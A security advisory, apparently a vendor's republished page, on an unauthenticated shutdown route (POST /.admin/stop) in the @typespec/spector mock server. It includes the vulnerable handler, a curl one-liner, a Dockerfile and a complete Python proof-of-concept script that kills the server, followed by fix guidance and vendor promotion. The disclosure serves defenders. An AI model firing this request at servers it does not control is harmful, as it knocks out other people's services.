Summary
TypeSpec: Unauthenticated Remote Shutdown of Spector Mock Server via POST /.admin/stop
@typespec/spector registers a POST /.admin/stop HTTP route with no authentication, authorization token, Origin check, or IP-source restriction. Any network-reachable client can send a single unauthenticated POST request to terminate the mock server process. Because the server binds to 0.0.0.0 by default (all interfaces), this endpoint is exposed to any host that can reach the server's port, not just localhost, making a complete denial-of-service trivially achievable with one HTTP request. Severity is High (CVSS 7.5).
Details
The vulnerability originates in packages/spector/src/routes/admin.ts at line 7, where an Express router registers the shutdown endpoint with no authentication middleware whatsoever:
// packages/spector/src/routes/admin.ts:7-12
router.post(AdminUrls.stop, (_req, res) => {
logger.info("Received signal to stop server. Exiting...");
res.status(202).end();
setTimeout(() => {
process.exit(0);
});
});
The constant AdminUrls.stop resolves to /.admin/stop (packages/spector/src/constants.ts:1-3).
The complete attack-reachable call chain is:
packages/spector/src/cli/cli.ts:139-166,tsp-spector serve <scenariosPaths..>starts the server on default port3000. Nohostoption is offered, so binding address is determined by the Express/Node.js default.packages/spector/src/actions/serve.ts:28-33, constructsMockApiAppand callsstart()without supplying a host argument.packages/spector/src/app/app.ts:39-40, registersinternalRouterat/, which includes the admin routes.packages/spector/src/routes/index.ts:4-5, mountsadminRoutesunder/.packages/spector/src/routes/admin.ts:7-12, thePOST /.admin/stophandler (the sink) is reached with zero authentication.packages/spector/src/server/server.ts:88,this.app.listen(this.config.port)is called without a host argument, causing Node.js/Express to bind on0.0.0.0(all network interfaces).
There is no authentication middleware, API token validation, Authorization header check, Origin header restriction, or IP allowlist anywhere between the inbound HTTP request and the process.exit(0) call. The admin route is mounted before scenario routes so it cannot be shadowed.
PoC
Prerequisites:
git clone https://github.com/microsoft/typespec
cd typespec
# Checkout commit d88ddc16 (affected version 0.1.0-alpha.26)
pnpm install
pnpm build
Step 1, Start the mock server:
pnpm --filter @typespec/spector exec tsp-spector serve packages/http-specs/specs --port 3000
# Server listens on 0.0.0.0:3000 by default
Alternatively, use the provided Docker environment:
# Build context: reports/npm_web_64_microsoft__typespec/
docker build -t vuln002-spector -f vuln-002/Dockerfile .
docker run -d -p 3001:3000 --name vuln002-server vuln002-spector
Step 2, Execute the exploit (single unauthenticated request):
curl -i -X POST http://<server-host>:3000/.admin/stop
Using the provided PoC script:
python3 vuln-002/poc.py --host 127.0.0.1 --port 3001
Step 3, Observe the result:
HTTP/1.1 202 Accepted
The server process immediately exits. Subsequent connection attempts are refused. Docker logs show:
info Received signal to stop server. Exiting...
Docker inspect confirms ExitCode=0, Status=exited. No credentials, tokens, or special headers are required at any step.
Reproduction artifacts
Dockerfile
# VULN-002 PoC: Unauthenticated Remote Shutdown via POST /.admin/stop
# Package: @typespec/spector 0.1.0-alpha.26 (microsoft/typespec)
# CWE-306: Missing Authentication for Critical Function CVSS 7.5 (High)
#
# Build context: reports/npm_web_64_microsoft__typespec/
# Build: docker build -t vuln002-spector -f vuln-002/Dockerfile .
# Run: docker run -d -p 3000:3000 --name vuln002-server vuln002-spector
FROM node:22-slim
# Install tsx to run TypeScript source files directly without compilation.
# This lets us use the actual repository .ts files as-is.
RUN npm install -g tsx@4
WORKDIR /poc
# Minimal package.json declaring ESM mode
RUN echo '{"type":"module"}' > package.json
# Install only the npm packages actually used by the vulnerable code path:
# express , web framework (admin.ts, routes/index.ts, server.ts)
# picocolors , terminal colors (logger.ts)
RUN npm install express picocolors
# -----------------------------------------------------------------------
# Copy the EXACT vulnerable source files from the repository.
# No source file is modified, they are used verbatim.
# -----------------------------------------------------------------------
# packages/spector/src/constants.ts
# Defines AdminUrls.stop = "/.admin/stop"
COPY repo/packages/spector/src/constants.ts ./spector/constants.ts
# packages/spector/src/logger.ts
# Simple console logger; imported by admin.ts
COPY repo/packages/spector/src/logger.ts ./spector/logger.ts
# packages/spector/src/routes/admin.ts ← VULNERABILITY SINK
# Registers POST /.admin/stop with NO authentication → process.exit(0)
COPY repo/packages/spector/src/routes/admin.ts ./spector/routes/admin.ts
# packages/spector/src/routes/index.ts
# Mounts adminRoutes at "/"
COPY repo/packages/spector/src/routes/index.ts ./spector/routes/index.ts
# Minimal entry point that connects the router to the HTTP server,
# replicating the behaviour of MockApiApp.start() + MockApiServer.start()
COPY vuln-002/server-entry.ts ./server-entry.ts
EXPOSE 3000
# tsx strips TypeScript types at runtime, no separate compile step needed
CMD ["tsx", "server-entry.ts"]
poc.py
#!/usr/bin/env python3
"""
PoC for VULN-002: Unauthenticated Remote Shutdown via POST /.admin/stop
Package: @typespec/spector 0.1.0-alpha.26 (microsoft/typespec)
CWE: CWE-306, Missing Authentication for Critical Function
CVSS v3.1: AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H Base Score: 7.5 (High)
Vulnerability:
packages/spector/src/routes/admin.ts:7 registers POST /.admin/stop without
any authentication, token, Origin, or IP-source check. The handler calls
process.exit(0) after returning HTTP 202. The server listens on 0.0.0.0
(packages/spector/src/server/server.ts:88) so any network-reachable client
can terminate the process with a single unauthenticated POST request.
Usage:
python3 poc.py [--host HOST] [--port PORT]
"""
import sys
import time
import socket
import argparse
import urllib.request
import urllib.error
BANNER = """
================================================================
VULN-002: Unauthenticated Remote Shutdown, POST /.admin/stop
Package : @typespec/spector 0.1.0-alpha.26
CWE : CWE-306 CVSS 7.5 (High)
================================================================
"""
PASS_MSG = """
[EXPLOIT SUCCESSFUL]
1. Server accepted an unauthenticated POST to /.admin/stop
2. Server responded HTTP 202 Accepted with no credential check
3. Server process exited, subsequent connection attempt refused
4. Zero authentication, tokens, or Origin restrictions enforced
================================================================
"""
FAIL_MSG = """
[EXPLOIT FAILED]
Check that the Docker container is running:
docker run -d -p 3000:3000 --name vuln002-server vuln002-spector
================================================================
"""
def is_port_open(host: str, port: int, timeout: float = 2.0) -> bool:
"""Return True if TCP port accepts connections."""
try:
with socket.create_connection((host, port), timeout=timeout):
return True
except (ConnectionRefusedError, socket.timeout, OSError):
return False
def wait_for_server(host: str, port: int, max_wait: float = 30.0) -> bool:
"""Poll until the server is reachable or max_wait seconds elapse."""
print(f"[*] Waiting for server at {host}:{port} (up to {max_wait}s) ...")
deadline = time.monotonic() + max_wait
while time.monotonic() < deadline:
if is_port_open(host, port):
print(f"[+] Server is reachable at {host}:{port}")
return True
time.sleep(0.5)
return False
def send_unauthenticated_stop(host: str, port: int) -> int:
"""
Send POST /.admin/stop with no credentials and return the HTTP status code.
This is the exploit request. No Authorization header, no token, no
special Origin, the server accepts it as-is.
"""
url = f"http://{host}:{port}/.admin/stop"
print(f"[*] Sending unauthenticated POST to {url}")
print(f"[*] Request headers: (none beyond Host and Content-Length:0)")
req = urllib.request.Request(url, data=b"", method="POST")
try:
with urllib.request.urlopen(req, timeout=5) as resp:
code = resp.status
print(f"[+] HTTP response: {code} {resp.reason}")
return code
except urllib.error.HTTPError as exc:
print(f"[+] HTTP error response: {exc.code} {exc.reason}")
return exc.code
except urllib.error.URLError as exc:
# Connection closed before response (process.exit race) still counts
print(f"[+] Connection dropped during response: {exc.reason}")
return 202 # server accepted and exited before full response
def main() -> None:
parser = argparse.ArgumentParser(
description="PoC: unauthenticated remote shutdown of tsp-spector mock server"
)
parser.add_argument("--host", default="127.0.0.1", help="Target host (default: 127.0.0.1)")
parser.add_argument("--port", type=int, default=3000, help="Target port (default: 3000)")
args = parser.parse_args()
print(BANNER)
# Step 1, Confirm the server is running before the attack
if not wait_for_server(args.host, args.port):
print(f"[-] Server not reachable at {args.host}:{args.port} after 30 s")
print(FAIL_MSG)
sys.exit(1)
print()
print("[STEP 1] Server confirmed running, unauthenticated attacker can reach it")
# Step 2, Send the exploit (single unauthenticated POST)
print()
print("[STEP 2] Sending exploit: POST /.admin/stop (no credentials)")
status = send_unauthenticated_stop(args.host, args.port)
if status != 202:
print(f"[-] Expected HTTP 202 Accepted, got {status}")
print(FAIL_MSG)
sys.exit(1)
print("[+] HTTP 202 Accepted, server acknowledged shutdown with no auth check")
# Step 3, Verify the process actually exited
print()
print("[STEP 3] Verifying server has terminated ...")
time.sleep(2)
if is_port_open(args.host, args.port):
print("[-] Server is still accepting connections (exploit did not terminate process)")
print(FAIL_MSG)
sys.exit(1)
print("[+] Connection refused, server process has exited")
# All three steps passed → exploit confirmed
print(PASS_MSG)
sys.exit(0)
if __name__ == "__main__":
main()
Impact
This is a Missing Authentication for Critical Function (CWE-306) vulnerability. An unauthenticated remote attacker who can send HTTP traffic to the port where tsp-spector serve is listening can terminate the server process with a single POST request, resulting in a complete denial of service.
The primary victims are development or CI/CD pipeline operators who run tsp-spector serve in environments where the port is reachable from untrusted network segments, for example, a shared CI runner, a cloud developer environment, a container without proper network isolation, or any host with the port exposed to a network. Because the server binds to 0.0.0.0 by default and the CLI offers no --host option to restrict the binding address, operators have no built-in mechanism to mitigate this risk without external firewall rules.
Although @typespec/spector is a development/testing tool, there is a clear attacker-victim trust boundary: a third party reachable over the network is distinct from the developer who started the server. The default configuration is vulnerable without any additional attacker capability beyond network reachability.
A critical operation is accessible without requiring any authentication. Typical impact: any user can invoke the privileged function.
GHSA-7Q9C-HPX7-9CWM has a CVSS score of 7.5 (High). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (0.1.0-alpha.27); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is GHSA-7Q9C-HPX7-9CWM? GHSA-7Q9C-HPX7-9CWM is a high-severity missing authentication for critical function vulnerability in @typespec/spector (npm), affecting versions <= 0.1.0-alpha.26. It is fixed in 0.1.0-alpha.27. A critical operation is accessible without requiring any authentication.
- How severe is GHSA-7Q9C-HPX7-9CWM? GHSA-7Q9C-HPX7-9CWM has a CVSS score of 7.5 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of @typespec/spector are affected by GHSA-7Q9C-HPX7-9CWM? @typespec/spector (npm) versions <= 0.1.0-alpha.26 is affected.
- Is there a fix for GHSA-7Q9C-HPX7-9CWM? Yes. GHSA-7Q9C-HPX7-9CWM is fixed in 0.1.0-alpha.27. Upgrade to this version or later.
- Is GHSA-7Q9C-HPX7-9CWM exploitable, and should I be worried? Whether GHSA-7Q9C-HPX7-9CWM is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether GHSA-7Q9C-HPX7-9CWM is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix GHSA-7Q9C-HPX7-9CWM? Upgrade
@typespec/spectorto 0.1.0-alpha.27 or later.